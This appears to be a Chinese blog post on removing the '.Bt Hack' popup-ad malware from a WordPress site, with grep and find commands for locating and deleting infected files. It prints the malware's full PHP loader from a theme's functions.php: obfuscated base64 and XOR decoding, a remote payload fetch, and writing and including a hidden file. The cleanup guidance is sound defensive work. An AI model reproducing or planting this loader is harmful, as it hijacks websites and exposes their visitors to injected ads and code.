WordPress 站点被挂马清理.Bt Hack(恶意弹窗广告植入)恶意代码的方法。
WordPress 站点被挂马,发现了一个叫.Bt Hack 的入侵代码,主要表现是每 8 个小时左右就会在访客访问的时候弹出一个广告弹窗,广告还会自动切换,并且会根据访客 IP 限制弹窗频率(同一个 IP 只弹出一次),据客户反映,这个问题已经存在很久了,换了好几个服务商都没有解决。
通过多次调试发现,只要有弹窗广告出现,在站点首页“源代码”里就会发现如下图所示的链接和.js 链接(会动态的随机变化,不固定的):
很明显,这是一个植入式的恶意代码,完全是自动生成的,还会根据客户 IP 自动识别调整弹窗策略,凭经验判断这些都是 PHP 恶意代码实现的,而这个恶意代码很有可能是插件、主题里隐藏的。查看了 WordPress 各个目录后发现,分别在wp-includes里出现了一个class-wp-http-netfilter.php文件(包含了大量的 IP 地址)、wp-admin 和 wp-admin/css里都出现了.bt文件。删除这些文件的话,要不了多长时间就会再次被创建出这些文件。
在 WordPress 端基本是没法找到和清理这个恶意代码的,经过一番大量的搜索查找,终于在一些英文站点上找到了有关这个.Bt Hack 的一些基本特征,果然删除起来有点儿小麻烦,需要借助终端下 Linux 命令行才可以,具体操作如下:
首先在当前站点根目录下借助grep命令搜索内容里包含_shaesx_的文件,如下命令(需要耐心等待命令执行完):
grep -Ril "_shaesx_" .
然后根据结果里的文件位置,编辑这些文件,比如明月搜索到的就是在主题目录下functions.php文件里包含这个_shaesx_,用编辑器打开这个文件后看到如下的代码:
@ini_set('display_errors', '0');
error_reporting(0);
global $zeeta;
if (!$npDcheckClassBgp && !isset($zeeta)) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c8oCrPYgfAwH7Z8bIfCUPxfXN70cmCWIX7HVoQ==";
if (!function_exists('get_data_ya')) {
if (ini_get('allow_url_fopen')) {
function get_data_ya($m) {
$data = file_get_contents($m);
return $data;
}
}
else {
function get_data_ya($m) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $m);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
}
if (!function_exists('wp_cd')) {
function wp_cd($fd, $fa="") {
$fe = "wp_frmfunct";
$len = strlen($fd);
$ff = '';
$n = $len>100 ? 8 : 2;
while( strlen($ff)<$len ) { $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); }
return $fd^$ff;
}
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
$subdirs = glob("$dira/*", GLOB_ONLYDIR);
foreach ($subdirs as $subdira) {
if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
}
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
$zeeta = "yup";
}
@include( 'template-config.php' );
error_reporting(0);
这就是.Bt Hack 植入的恶意代码了,删除掉这些代码,保留原有的其他代码,保存 PHP 后重启 PHP-FPM 进程即可。
然后是清理掉恶意代码生成的文件,使用 find 里查找即可,如下命令:
find -type f -name ".bt" -o -name ".default" -o -name "template-config.php" -o -name "class-wp-http-netfilter.php" | xargs ls -lh
先查找并列出查找结果以便确认:
find -type f -name ".bt" -o -name ".default" -o -name "template-config.php" -o -name "class-wp-http-netfilter.php" | xargs rm
然后再次查找并删除这些文件。
至此,这个叫.Bt Hack 的广告弹窗恶意代码清理完成了,访问站点首页测试没有再发现有链接和.js 文件再首页的植入,通过 FTP 登录站点根目录也没有发现哪个目录里有新写入的非法文件,大功告成!
共有 0 条评论